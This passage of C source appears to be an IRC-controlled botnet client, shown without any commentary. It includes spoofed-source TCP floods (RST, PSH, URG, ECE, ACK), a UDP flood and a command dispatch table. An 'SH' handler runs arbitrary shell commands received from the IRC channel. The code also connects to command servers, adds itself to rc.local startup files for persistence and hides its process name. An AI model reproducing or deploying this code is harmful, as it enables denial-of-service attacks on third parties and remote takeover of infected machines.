  698.                 send_tcp.ip.id = rand();
  699.                 send_tcp.ip.check = 0;
  700.                 send_tcp.ip.saddr = saddr;
  701.                 send_tcp.ip.daddr = daddr;
  702.                 send_tcp.tcp.source = rand();
  703.                 send_tcp.tcp.dest = dest;
  704.                 send_tcp.tcp.seq = rand();
  705.                 send_tcp.tcp.ack_seq = rand();
  706.                 send_tcp.tcp.check = 0;
  707.                 sin.sin_family = AF_INET;
  708.                 sin.sin_port = send_tcp.tcp.dest;
  709.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  710.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  711.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  712.                 pseudo_header.source_address = send_tcp.ip.saddr;
  713.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  714.                 pseudo_header.placeholder = 0;
  715.                 pseudo_header.protocol = IPPROTO_TCP;
  716.                 pseudo_header.tcp_length = htons(20+psize);
  717.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  718.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  719.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  720.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  721.                 if (a >= 50) {
  722.                         if (time(NULL) >= start+secs) exit(0);
  723.                         a=0;
  724.                 }
  725.                 a++;
  726.         }
  727.         close(get);
  728.         exit(0);
  729. }
  730. void rst(int sock, char *sender, int argc, char **argv) {
  731.         struct send_tcp send_tcp;
  732.         struct pseudo_header pseudo_header;
  733.         struct sockaddr_in sin;
  734.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  735.         unsigned int psize=20, source, dest, check;
  736.         unsigned long saddr, daddr,secs;
  737.         int get;
  738.         time_t start=time(NULL);
  739.         if (mfork(sender) != 0) return;
  740.         if (argc < 3) {
  741.                 Send(sock,"NOTICE %s :RST <target> <port> <secs>\n",sender);
  742.                 exit(1);
  743.         }
  744.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  745.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  746.         daddr=host2ip(sender,argv[1]);
  747.         secs=atol(argv[3]);
  748.     dest=htons(atoi(argv[2]));
  749.         Send(sock,"NOTICE %s :Flooding %s with RST..\n",sender,argv[1]);
  750.     send_tcp.ip.ihl = 5;
  751.         send_tcp.ip.version = 4;
  752.         send_tcp.ip.tos = 16;
  753.         send_tcp.ip.frag_off = 64;
  754.     send_tcp.ip.ttl = 255;
  755.     send_tcp.ip.protocol = 6;
  756.     send_tcp.tcp.doff = 5;
  757.         send_tcp.tcp.res1 = 0;
  758.         send_tcp.tcp.cwr = 0;
  759.         send_tcp.tcp.ece = 0;
  760.         send_tcp.tcp.urg = 0;
  761.         send_tcp.tcp.ack = 0;
  762.         send_tcp.tcp.psh = 0;
  763.     send_tcp.tcp.rst = 1;
  764.         send_tcp.tcp.fin = 0;
  765.         send_tcp.tcp.syn = 0;
  766.     send_tcp.tcp.window = 65535;
  767.         send_tcp.tcp.urg_ptr = 1;
  768.         while(1) {
  769.         saddr=getspoof();
  770.         if (atoi(argv[2]) == 0) dest=rand();
  771.                 send_tcp.ip.tot_len = htons(40+psize);
  772.                 send_tcp.ip.id = rand();
  773.                 send_tcp.ip.check = 0;
  774.                 send_tcp.ip.saddr = saddr;
  775.                 send_tcp.ip.daddr = daddr;
  776.                 send_tcp.tcp.source = rand();
  777.                 send_tcp.tcp.dest = dest;
  778.                 send_tcp.tcp.seq = rand();
  779.                 send_tcp.tcp.ack_seq = rand();
  780.                 send_tcp.tcp.check = 0;
  781.                 sin.sin_family = AF_INET;
  782.                 sin.sin_port = send_tcp.tcp.dest;
  783.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  784.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  785.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  786.                 pseudo_header.source_address = send_tcp.ip.saddr;
  787.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  788.                 pseudo_header.placeholder = 0;
  789.                 pseudo_header.protocol = IPPROTO_TCP;
  790.                 pseudo_header.tcp_length = htons(20+psize);
  791.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  792.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  793.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  794.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  795.                 if (a >= 50) {
  796.                         if (time(NULL) >= start+secs) exit(0);
  797.                         a=0;
  798.                 }
  799.                 a++;
  800.         }
  801.         close(get);
  802.         exit(0);
  803. }
  804. void psh(int sock, char *sender, int argc, char **argv) {
  805.         struct send_tcp send_tcp;
  806.         struct pseudo_header pseudo_header;
  807.         struct sockaddr_in sin;
  808.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  809.         unsigned int psize=20, source, dest, check;
  810.         unsigned long saddr, daddr,secs;
  811.         int get;
  812.         time_t start=time(NULL);
  813.         if (mfork(sender) != 0) return;
  814.         if (argc < 3) {
  815.                 Send(sock,"NOTICE %s :PSH <target> <port> <secs>\n",sender);
  816.                 exit(1);
  817.         }
  818.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  819.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  820.         daddr=host2ip(sender,argv[1]);
  821.         secs=atol(argv[3]);
  822.     dest=htons(atoi(argv[2]));
  823.         Send(sock,"NOTICE %s :Flooding %s with PSH..\n",sender,argv[1]);
  824.     send_tcp.ip.ihl = 5;
  825.         send_tcp.ip.version = 4;
  826.         send_tcp.ip.tos = 16;
  827.         send_tcp.ip.frag_off = 64;
  828.     send_tcp.ip.ttl = 255;
  829.     send_tcp.ip.protocol = 6;
  830.     send_tcp.tcp.doff = 5;
  831.         send_tcp.tcp.res1 = 0;
  832.         send_tcp.tcp.cwr = 0;
  833.         send_tcp.tcp.ece = 0;
  834.         send_tcp.tcp.urg = 0;
  835.         send_tcp.tcp.ack = 0;
  836.         send_tcp.tcp.psh = 1;
  837.     send_tcp.tcp.rst = 0;
  838.         send_tcp.tcp.fin = 0;
  839.         send_tcp.tcp.syn = 0;
  840.     send_tcp.tcp.window = 65535;
  841.         send_tcp.tcp.urg_ptr = 1;
  842.         while(1) {
  843.         saddr=getspoof();
  844.         if (atoi(argv[2]) == 0) dest=rand();
  845.                 send_tcp.ip.tot_len = htons(40+psize);
  846.                 send_tcp.ip.id = rand();
  847.                 send_tcp.ip.check = 0;
  848.                 send_tcp.ip.saddr = saddr;
  849.                 send_tcp.ip.daddr = daddr;
  850.                 send_tcp.tcp.source = rand();
  851.                 send_tcp.tcp.dest = dest;
  852.                 send_tcp.tcp.seq = rand();
  853.                 send_tcp.tcp.ack_seq = rand();
  854.                 send_tcp.tcp.check = 0;
  855.                 sin.sin_family = AF_INET;
  856.                 sin.sin_port = send_tcp.tcp.dest;
  857.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  858.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  859.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  860.                 pseudo_header.source_address = send_tcp.ip.saddr;
  861.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  862.                 pseudo_header.placeholder = 0;
  863.                 pseudo_header.protocol = IPPROTO_TCP;
  864.                 pseudo_header.tcp_length = htons(20+psize);
  865.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  866.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  867.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  868.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  869.                 if (a >= 50) {
  870.                         if (time(NULL) >= start+secs) exit(0);
  871.                         a=0;
  872.                 }
  873.                 a++;
  874.         }
  875.         close(get);
  876.         exit(0);
  877. }
  878. void urg(int sock, char *sender, int argc, char **argv) {
  879.         struct send_tcp send_tcp;
  880.         struct pseudo_header pseudo_header;
  881.         struct sockaddr_in sin;
  882.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  883.         unsigned int psize=20, source, dest, check;
  884.         unsigned long saddr, daddr,secs;
  885.         int get;
  886.         time_t start=time(NULL);
  887.         if (mfork(sender) != 0) return;
  888.         if (argc < 3) {
  889.                 Send(sock,"NOTICE %s :URG <target> <port> <secs>\n",sender);
  890.                 exit(1);
  891.         }
  892.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  893.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  894.         daddr=host2ip(sender,argv[1]);
  895.         secs=atol(argv[3]);
  896.     dest=htons(atoi(argv[2]));
  897.         Send(sock,"NOTICE %s :Flooding %s with URG..\n",sender,argv[1]);
  898.     send_tcp.ip.ihl = 5;
  899.         send_tcp.ip.version = 4;
  900.         send_tcp.ip.tos = 16;
  901.         send_tcp.ip.frag_off = 64;
  902.     send_tcp.ip.ttl = 255;
  903.     send_tcp.ip.protocol = 6;
  904.     send_tcp.tcp.doff = 5;
  905.         send_tcp.tcp.res1 = 0;
  906.         send_tcp.tcp.cwr = 0;
  907.         send_tcp.tcp.ece = 0;
  908.         send_tcp.tcp.urg = 1;
  909.         send_tcp.tcp.ack = 0;
  910.         send_tcp.tcp.psh = 0;
  911.     send_tcp.tcp.rst = 0;
  912.         send_tcp.tcp.fin = 0;
  913.         send_tcp.tcp.syn = 0;
  914.     send_tcp.tcp.window = 65535;
  915.         send_tcp.tcp.urg_ptr = 1;
  916.         while(1) {
  917.         saddr=getspoof();
  918.         if (atoi(argv[2]) == 0) dest=rand();
  919.                 send_tcp.ip.tot_len = htons(40+psize);
  920.                 send_tcp.ip.id = rand();
  921.                 send_tcp.ip.check = 0;
  922.                 send_tcp.ip.saddr = saddr;
  923.                 send_tcp.ip.daddr = daddr;
  924.                 send_tcp.tcp.source = rand();
  925.                 send_tcp.tcp.dest = dest;
  926.                 send_tcp.tcp.seq = rand();
  927.                 send_tcp.tcp.ack_seq = rand();
  928.                 send_tcp.tcp.check = 0;
  929.                 sin.sin_family = AF_INET;
  930.                 sin.sin_port = send_tcp.tcp.dest;
  931.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  932.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  933.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  934.                 pseudo_header.source_address = send_tcp.ip.saddr;
  935.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  936.                 pseudo_header.placeholder = 0;
  937.                 pseudo_header.protocol = IPPROTO_TCP;
  938.                 pseudo_header.tcp_length = htons(20+psize);
  939.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  940.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  941.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  942.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  943.                 if (a >= 50) {
  944.                         if (time(NULL) >= start+secs) exit(0);
  945.                         a=0;
  946.                 }
  947.                 a++;
  948.         }
  949.         close(get);
  950.         exit(0);
  951. }
  952. void ece(int sock, char *sender, int argc, char **argv) {
  953.         struct send_tcp send_tcp;
  954.         struct pseudo_header pseudo_header;
  955.         struct sockaddr_in sin;
  956.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  957.         unsigned int psize=20, source, dest, check;
  958.         unsigned long saddr, daddr,secs;
  959.         int get;
  960.         time_t start=time(NULL);
  961.         if (mfork(sender) != 0) return;
  962.         if (argc < 3) {
  963.                 Send(sock,"NOTICE %s :ECE <target> <port> <secs>\n",sender);
  964.                 exit(1);
  965.         }
  966.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  967.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  968.         daddr=host2ip(sender,argv[1]);
  969.         secs=atol(argv[3]);
  970.     dest=htons(atoi(argv[2]));
  971.         Send(sock,"NOTICE %s :Flooding %s with ECE..\n",sender,argv[1]);
  972.     send_tcp.ip.ihl = 5;
  973.         send_tcp.ip.version = 4;
  974.         send_tcp.ip.tos = 16;
  975.         send_tcp.ip.frag_off = 64;
  976.     send_tcp.ip.ttl = 255;
  977.     send_tcp.ip.protocol = 6;
  978.     send_tcp.tcp.doff = 5;
  979.         send_tcp.tcp.res1 = 0;
  980.         send_tcp.tcp.cwr = 0;
  981.         send_tcp.tcp.ece = 1;
  982.         send_tcp.tcp.urg = 0;
  983.         send_tcp.tcp.ack = 0;
  984.         send_tcp.tcp.psh = 0;
  985.     send_tcp.tcp.rst = 0;
  986.         send_tcp.tcp.fin = 0;
  987.         send_tcp.tcp.syn = 0;
  988.     send_tcp.tcp.window = 65535;
  989.         send_tcp.tcp.urg_ptr = 1;
  990.         while(1) {
  991.         saddr=getspoof();
  992.         if (atoi(argv[2]) == 0) dest=rand();
  993.                 send_tcp.ip.tot_len = htons(40+psize);
  994.                 send_tcp.ip.id = rand();
  995.                 send_tcp.ip.check = 0;
  996.                 send_tcp.ip.saddr = saddr;
  997.                 send_tcp.ip.daddr = daddr;
  998.                 send_tcp.tcp.source = rand();
  999.                 send_tcp.tcp.dest = dest;
  1000.                 send_tcp.tcp.seq = rand();
  1001.                 send_tcp.tcp.ack_seq = rand();
  1002.                 send_tcp.tcp.check = 0;
  1003.                 sin.sin_family = AF_INET;
  1004.                 sin.sin_port = send_tcp.tcp.dest;
  1005.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1006.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1007.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1008.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1009.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1010.                 pseudo_header.placeholder = 0;
  1011.                 pseudo_header.protocol = IPPROTO_TCP;
  1012.                 pseudo_header.tcp_length = htons(20+psize);
  1013.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1014.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1015.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1016.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1017.                 if (a >= 50) {
  1018.                         if (time(NULL) >= start+secs) exit(0);
  1019.                         a=0;
  1020.                 }
  1021.                 a++;
  1022.         }
  1023.         close(get);
  1024.         exit(0);
  1025. }
  1026. void ack(int sock, char *sender, int argc, char **argv) {
  1027.         struct send_tcp send_tcp;
  1028.         struct pseudo_header pseudo_header;
  1029.         struct sockaddr_in sin;
  1030.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1031.         unsigned int psize=20, source, dest, check;
  1032.         unsigned long saddr, daddr,secs;
  1033.         int get;
  1034.         time_t start=time(NULL);
  1035.         if (mfork(sender) != 0) return;
  1036.         if (argc < 3) {
  1037.                 Send(sock,"NOTICE %s :ACK <target> <port> <secs>\n",sender);
  1038.                 exit(1);
  1039.         }
  1040.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1041.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1042.  
  1043.         daddr=host2ip(sender,argv[1]);
  1044.         secs=atol(argv[3]);
  1045.     dest=htons(atoi(argv[2]));
  1046.         Send(sock,"NOTICE %s :Flooding %s with ACK..\n",sender,argv[1]);
  1047.     send_tcp.ip.ihl = 5;
  1048.         send_tcp.ip.version = 4;
  1049.         send_tcp.ip.tos = 16;
  1050.         send_tcp.ip.frag_off = 64;
  1051.     send_tcp.ip.ttl = 255;
  1052.     send_tcp.ip.protocol = 6;
  1053.     send_tcp.tcp.doff = 5;
  1054.         send_tcp.tcp.res1 = 0;
  1055.         send_tcp.tcp.cwr = 0;
  1056.         send_tcp.tcp.ece = 0;
  1057.         send_tcp.tcp.urg = 0;
  1058.         send_tcp.tcp.ack = 1;
  1059.         send_tcp.tcp.psh = 1;
  1060.     send_tcp.tcp.rst = 0;
  1061.         send_tcp.tcp.fin = 0;
  1062.         send_tcp.tcp.syn = 0;
  1063.     send_tcp.tcp.window = 65535;
  1064.         send_tcp.tcp.urg_ptr = 1;
  1065.         while(1) {
  1066.         saddr=getspoof();
  1067.         if (atoi(argv[2]) == 0) dest=rand();
  1068.                 send_tcp.ip.tot_len = htons(40+psize);
  1069.                 send_tcp.ip.id = rand();
  1070.                 send_tcp.ip.check = 0;
  1071.                 send_tcp.ip.saddr = saddr;
  1072.                 send_tcp.ip.daddr = daddr;
  1073.                 send_tcp.tcp.source = rand();
  1074.                 send_tcp.tcp.dest = dest;
  1075.                 send_tcp.tcp.seq = rand();
  1076.                 send_tcp.tcp.ack_seq = rand();
  1077.                 send_tcp.tcp.check = 0;
  1078.                 sin.sin_family = AF_INET;
  1079.                 sin.sin_port = send_tcp.tcp.dest;
  1080.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1081.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1082.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1083.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1084.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1085.                 pseudo_header.placeholder = 0;
  1086.                 pseudo_header.protocol = IPPROTO_TCP;
  1087.                 pseudo_header.tcp_length = htons(20+psize);
  1088.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1089.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1090.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1091.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1092.                 if (a >= 50) {
  1093.                         if (time(NULL) >= start+secs) exit(0);
  1094.                         a=0;
  1095.                 }
  1096.                 a++;
  1097.         }
  1098.         close(get);
  1099.         exit(0);
  1100. }
  1101. void unknown(int sock, char *sender, int argc, char **argv) {
  1102.     int flag=1,fd,i;
  1103.     unsigned long secs;
  1104.     char *buf=(char*)malloc(9216);
  1105.     struct hostent *hp;
  1106.     struct sockaddr_in in;
  1107.         time_t start=time(NULL);
  1108.         if (mfork(sender) != 0) return;
  1109.         if (argc < 2) {
  1110.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  1111.                 exit(1);
  1112.         }
  1113.         secs=atol(argv[2]);
  1114.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  1115.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  1116.     in.sin_family = AF_INET;
  1117.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  1118.     while(1) {
  1119.         in.sin_port = rand();
  1120.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  1121.         else {
  1122.             flag=1;
  1123.             ioctl(fd,FIONBIO,&flag);
  1124.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  1125.             close(fd);
  1126.         }
  1127.                 if (i >= 50) {
  1128.                         if (time(NULL) >= start+secs) break;
  1129.                         i=0;
  1130.                 }
  1131.                 i++;
  1132.     }
  1133.         close(fd);
  1134.     exit(0);
  1135. }
  1136. void move(int sock, char *sender, int argc, char **argv) {
  1137.         if (argc < 1) {
  1138.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  1139.                 exit(1);
  1140.         }
  1141.     server=strdup(argv[1]);
  1142.     changeservers=1;
  1143.     close(sock);
  1144. }
  1145. void killall(int sock, char *sender, int argc, char **argv) {
  1146.         unsigned long i;
  1147.         for (i=0;i<numpids;i++) {
  1148.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1149.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  1150.                         kill(pids[i],9);
  1151.                 }
  1152.         }
  1153. }
  1154. void killd(int sock, char *sender, int argc, char **argv) {
  1155.     if (!disable) kill(0,9);
  1156.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  1157. }
  1158. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  1159.     { "CWR", cwr },
  1160.     { "ECE", ece },
  1161.     { "URG", urg },
  1162.     { "ACK", ack },
  1163.     { "PSH", psh },
  1164.     { "RST", rst },
  1165.     { "FIN", fin },
  1166.         { "SYN", syn },
  1167.     { "MIX", mix },
  1168.         { "UDP", udp },
  1169.     { "UNKNOWN", unknown },
  1170.         { "NICK", nickc },
  1171.         { "SERVER", move },
  1172.     { "GETSPOOFS", getspoofs },
  1173.         { "SPOOFS", spoof },
  1174.     { "DISABLE", disable },
  1175.         { "ENABLE", enable },
  1176.         { "KILL", killd },
  1177.     { "GET", get },
  1178.         { "VERSION", version },
  1179.         { "KILLALL", killall },
  1180. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  1181. void _PRIVMSG(int sock, char *sender, char *str) {
  1182.         int i;
  1183.         char *to, *message;
  1184.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1185.         str[i]=0;
  1186.         to=str;
  1187.         message=str+i+2;
  1188.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1189.         sender[i]=0;
  1190.         if (*message == '!' && !strcasecmp(to,chan)) {
  1191.                 char *params[12], name[1024]={0};
  1192.                 int num_params=0, m;
  1193.                 message++;
  1194.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1195.                 message[i]=0;
  1196.                 if (strwildmatch(message,nick)) return;
  1197.                 message+=i+1;
  1198.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  1199.                 if (!strncmp(message,"SH ",3)) {
  1200.                         char buf[1024];
  1201.                         FILE *command;
  1202.                         if (mfork(sender) != 0) return;
  1203.                         memset(buf,0,1024);
  1204.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  1205.                         command=popen(buf,"r");
  1206.                         while(!feof(command)) {
  1207.                                 memset(buf,0,1024);
  1208.                                 fgets(buf,1024,command);
  1209.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  1210.                                 sleep(1);
  1211.                         }
  1212.                         pclose(command);
  1213.                         exit(0);
  1214.                 }
  1215.                 m=strlen(message);
  1216.                 for (i=0;i<m;i++) {
  1217.                         if (*message == ' ' || *message == 0) break;
  1218.                         name[i]=*message;
  1219.                         message++;
  1220.                 }
  1221.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  1222.                 num_params++;
  1223.                 if (num_params > 10) num_params=10;
  1224.                 params[0]=name;
  1225.                 params[num_params+1]="\0";
  1226.                 m=1;
  1227.                 while (*message != 0) {
  1228.                         message++;
  1229.                         if (m >= num_params) break;
  1230.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  1231.                         params[m]=(char*)malloc(i+1);
  1232.                         strncpy(params[m],message,i);
  1233.                         params[m][i]=0;
  1234.                         m++;
  1235.                         message+=i;
  1236.                 }
  1237.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  1238.                         if (!strcasecmp(flooders[m].cmd,name)) {
  1239.                                 flooders[m].func(sock,sender,num_params-1,params);
  1240.                                 for (i=1;i<num_params;i++) free(params[i]);
  1241.                                 return;
  1242.                         }
  1243.                 }
  1244.         }
  1245. }
  1246. void _376(int sock, char *sender, char *str) {
  1247.         Send(sock,"MODE %s -xi\n",nick);
  1248.         Send(sock,"JOIN %s :%s\n",chan,key);
  1249.         Send(sock,"WHO %s\n",nick);
  1250. }
  1251. void _PING(int sock, char *sender, char *str) {
  1252.         Send(sock,"PONG %s\n",str);
  1253. }
  1254. void _352(int sock, char *sender, char *str) {
  1255.         int i,d;
  1256.         char *msg=str;
  1257.         struct hostent *hostm;
  1258.         unsigned long m;
  1259.         for (i=0,d=0;d<5;d++) {
  1260.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1261.                 if (i == strlen(str)) return;
  1262.         }
  1263.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1264.         msg[i]=0;
  1265.         if (!strcasecmp(msg,nick) && !spoofsm) {
  1266.                 msg=str;
  1267.                 for (i=0,d=0;d<3;d++) {
  1268.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  1269.                         if (i == strlen(str)) return;
  1270.                 }
  1271.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  1272.                 msg[i]=0;
  1273.                 if ((m = inet_addr(msg)) == -1) {
  1274.                         if ((hostm=gethostbyname(msg)) == NULL) {
  1275.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  1276.                                 return;
  1277.                         }
  1278.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  1279.                 }
  1280.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  1281.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  1282.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  1283.                 ((char*)&spoofs)[0]=0;
  1284.                 spoofsm=256;
  1285.         }
  1286. }
  1287. void _433(int sock, char *sender, char *str) {
  1288.         free(nick);
  1289.         nick=makestring();
  1290. }
  1291. void _NICK(int sock, char *sender, char *str) {
  1292.     int i;
  1293.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1294.         sender[i]=0;
  1295.     if (!strcasecmp(sender,nick)) {
  1296.         if (*str == ':') str++;
  1297.         if (nick) free(nick);
  1298.         nick=strdup(str);
  1299.     }
  1300. }
  1301. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1302.         { "352", _352 },
  1303.         { "376", _376 },
  1304.         { "433", _433 },
  1305.         { "422", _376 },
  1306.         { "PRIVMSG", _PRIVMSG },
  1307.         { "PING", _PING },
  1308.     { "NICK", _NICK },
  1309. { (char *)0, (void (*)(int,char *,char *))0 } };
  1310. void con() {
  1311.         struct sockaddr_in srv;
  1312.         unsigned long ipaddr,start;
  1313.         int flag;
  1314.         struct hostent *hp;
  1315. start:
  1316.     sock=-1;
  1317.     flag=1;
  1318.     if (changeservers == 0) server=servers[rand()%numservers];
  1319.     changeservers=0;
  1320.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1321.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1322.         if ((hp = gethostbyname(server)) == NULL) {
  1323.             server=NULL;
  1324.             close(sock);
  1325.             goto start;
  1326.         }
  1327.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1328.     }
  1329.     else srv.sin_addr.s_addr=inet_addr(server);
  1330.         srv.sin_family = AF_INET;
  1331.         srv.sin_port = htons(4040);
  1332.     ioctl(sock,FIONBIO,&flag);
  1333.     start=time(NULL);
  1334.     while(time(NULL)-start < 10) {
  1335.         errno=0;
  1336.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1337.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1338.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1339.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1340.             return;
  1341.         }
  1342.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1343.         sleep(1);
  1344.     }
  1345.     server=NULL;
  1346.     close(sock);
  1347.     goto start;
  1348. }
  1349. int main(int argc, char **argv) {
  1350.         int on,i;
  1351.         char cwd[256],*str;
  1352.         FILE *file;
  1353. #ifdef STARTUP
  1354.     str="/etc/rc.d/rc.local";
  1355.     file=fopen(str,"r");
  1356.     if (file == NULL) {
  1357.         str="/etc/rc.conf";
  1358.         file=fopen(str,"r");
  1359.     }
  1360.         if (file != NULL) {
  1361.                 char outfile[256], buf[1024];
  1362.                 int i=strlen(argv[0]), d=0;
  1363.                 getcwd(cwd,256);
  1364.                 if (strcmp(cwd,"/")) {
  1365.                         while(argv[0][i] != '/') i--;
  1366.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  1367.                         while(!feof(file)) {
  1368.                                 fgets(buf,1024,file);
  1369.                                 if (!strcasecmp(buf,outfile)) d++;
  1370.                         }
  1371.                         if (d == 0) {
  1372.                                 FILE *out;
  1373.                                 fclose(file);
  1374.                                 out=fopen(str,"a");
  1375.                                 if (out != NULL) {
  1376.                                         fputs(outfile,out);
  1377.                                         fclose(out);
  1378.                                 }
  1379.                         }
  1380.                         else fclose(file);
  1381.                 }
  1382.                 else fclose(file);
  1383.         }
  1384. #endif
  1385.         if (fork()) exit(0);
  1386. #ifdef FAKENAME
  1387.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  1388.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
